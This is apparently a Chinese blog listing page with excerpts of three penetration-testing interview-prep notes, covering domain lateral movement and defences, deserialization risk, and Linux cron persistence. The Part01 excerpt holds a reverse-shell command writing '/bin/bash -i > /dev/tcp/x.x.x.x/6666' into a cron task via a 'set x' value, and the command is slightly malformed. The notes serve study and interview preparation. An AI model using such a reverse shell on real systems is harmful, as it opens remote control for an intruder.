渗透测试面经 Part03
这些攻击手法都可以让攻击者在域内进行横向移动，扩大攻击面，最终获取更高的权限。为了避免这些攻击，管理员应该加强对系统的管理，修补漏洞，加强密码策略，限制域内账号的权限等。
/ RESEARCH DOMAIN
职业与面试
渗透测试岗位知识体系、面试复盘与职业成长记录。
渗透测试面经 Part02
通过序列化与反序列化我们可以很方便的进行对象的传递，本质上反序列化是没有危害的，但是如果用户对数据可控那就可以利用反序列化构造有效载荷攻击。反序列化是否存在危害的关键在于传输的数据可控或不可控。
渗透测试面经 Part01
centos 的计划任务可直接通过/bin/bash反弹 shell：set x “\n /bin/bash -i > /dev/tcp/x.x.x.x/6666 0&1\n” ubuntu 的计划任务默认使用 /bin…